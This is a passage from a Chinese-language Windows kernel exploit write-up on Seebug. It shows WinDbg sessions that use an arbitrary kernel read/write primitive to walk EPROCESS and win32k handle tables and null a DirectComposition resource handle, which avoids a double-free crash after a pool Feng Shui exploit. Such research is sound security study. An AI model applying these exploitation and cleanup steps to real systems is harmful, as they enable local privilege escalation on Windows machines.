0033:00007ff7`d64f20e1 c3              ret
kd> p
0033:00007ff7`d64f2000 498bcc          mov     rcx,r12
//**********調用DeletePalette
kd> p
0033:00007ff7`d64f2003 ff150fc00000    call    qword ptr [00007ff7`d64fe018]
//**********DeletePalette的對象是palette句柄,這次是真正釋放palette了
kd> r rcx
rcx=0000000008080b80
kd> p
0033:00007ff7`d64f2009 4c8bb42488020000 mov     r14,qword ptr [rsp+288h]
kd> !pool ffff8ace81fa9310
Pool page ffff8ace81fa9310 region is Paged session pool
//**********我們通過任意地址寫修改kernel object之后順利釋放palette,內核對象處于free狀態
*ffff8ace81fa9300 size:  100 previous size:   70  (Free ) *DCdn
        Pooltag DCdn : DCOMPOSITIONTAG_DEBUGINFO, Binary : win32kbase!DirectComposition::C
 ffff8ace81fa9400 size:  100 previous size:  100  (Free )  DCvi

這時候進程退出時,是會將句柄表清空,句柄表對應的內核對象的池也會 free 掉,之前我們 DeletePalette 時會將 hPalette 移除,同時 free 掉內核空間,但是 free hresource 的時候,由于之前已經釋放掉了池,導致了 double free 的發生。

因此,我們需要對句柄表進行一個 fix,我們將 hresource 在句柄表中移除,移除后在進程退出時,就不會再去釋放 hresource 對應的內核空間了。接下來,我們就要在句柄表里找到 resource 句柄的位置。要找到 hresource 的位置我們首先要找到 channel 的位置,我們需要從 EPROCESS 結構一層層找進去。當然,此時我們已經擁有了任意地址讀寫的能力,去讀取內核空間的地址中存放的值也不成問題,只需要根據偏移找到對應的值就可以了。

//step 1
//******EPROCESS里有一個Win32Process結構,這實際上是一個tagProcessInfo
kd> dt _EPROCESS Win32Process
nt!_EPROCESS
   +0x3a8 Win32Process : Void

//step 2
//**************tagPROCESSINFO里的tagTHREADINFO結構
 typedef struct _tagPROCESSINFO    // 55 elements, 0x300 bytes (sizeof)           
{
……
/*0x100*/     struct _tagTHREADINFO* ptiList;                                  
…… 
}tagPROCESSINFO, *PtagPROCESSINFO;  

//step3
//**********接下來找到handle table的入口,接下來找到channel的句柄值
kd> dq ffff8ace81fb5fc0+28 l2
ffff8ace`81fb5fe8  00000000`00000015//句柄 
ffff8ace`81fb5ff0  ffff8ace`81f2f8b0//Channel的內核對象

在 handle table 中的 channel 中,+0x28先存放的是句柄,然后+0x30存放的是 Channel 的內核對象值,接下來我們進入到 channel 中找到 resource table 的存放位置,然后根據句柄*找到 hresource,將其清零即可。當然,我們擁有任意地址讀寫的能力,只需要找到之后,將其置為 NULL 就可以了。

//step 1
//************找到resource table的位置
kd> dq ffff8ace`81f2f8b0+40 l1
ffff8ace`81f2f8f0  ffff8ace`81fa32a0
//************找到handle的大小
kd> dq ffff8ace`81f2f8b0+60 l1
ffff8ace`81f2f910  00000000`00000008
//resource table加上句柄大小與句柄值成積,找到hresource的位置
kd> dd ffff8ace`81fa32a0
ffff8ace`81fa32a0  00000000 00000000 00000000 00000000
ffff8ace`81fa32b0  00000000 00000000 81f6b450 ffff8ace//hresource

//step 2
//**********將hResource置為NULL
kd> p
0033:00007ff6`5ed01678 ff1582d90000    call    qword ptr [00007ff6`5ed0f000]
kd> p
0033:00007ff6`5ed0167e eb11            jmp     00007ff6`5ed01691
kd> dd ffff8ace`81fa32a0
ffff8ace`81fa32a0  00000000 00000000 00000000 00000000
ffff8ace`81fa32b0  00000000 00000000 00000000 00000000

最后,果然進程退出時不會再產生crash,我們最終完成了一個完整的利用。

Pool FengShui 是非常有意思的過程,和 Heap Fengshui 一樣,如何對內核空間進行精巧的布局是內核安全的大佬們喜歡研究的東西,在我開始學內核漏洞的時候,感覺相關的文章不多,隨著 Hacksys 的 HEVD 這個訓練驅動,可以看到相關的 paper 越來越多了,非常感謝撰寫文章的大佬們,令我受益良多。感謝邱神的指點,大米的交流討論,感覺這幾個月進步了很多。

其實內核里還有非常非常多有意思的東西等待被挖掘,Ring0 不同 Ring3,它擁有更復雜更廣闊的內容,同樣久有著無限的可能,期待自己更多的努力,更多的進步,也歡迎小伙伴們一起交流進步,感謝閱讀!!

0x05 引用


Paper 本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/414/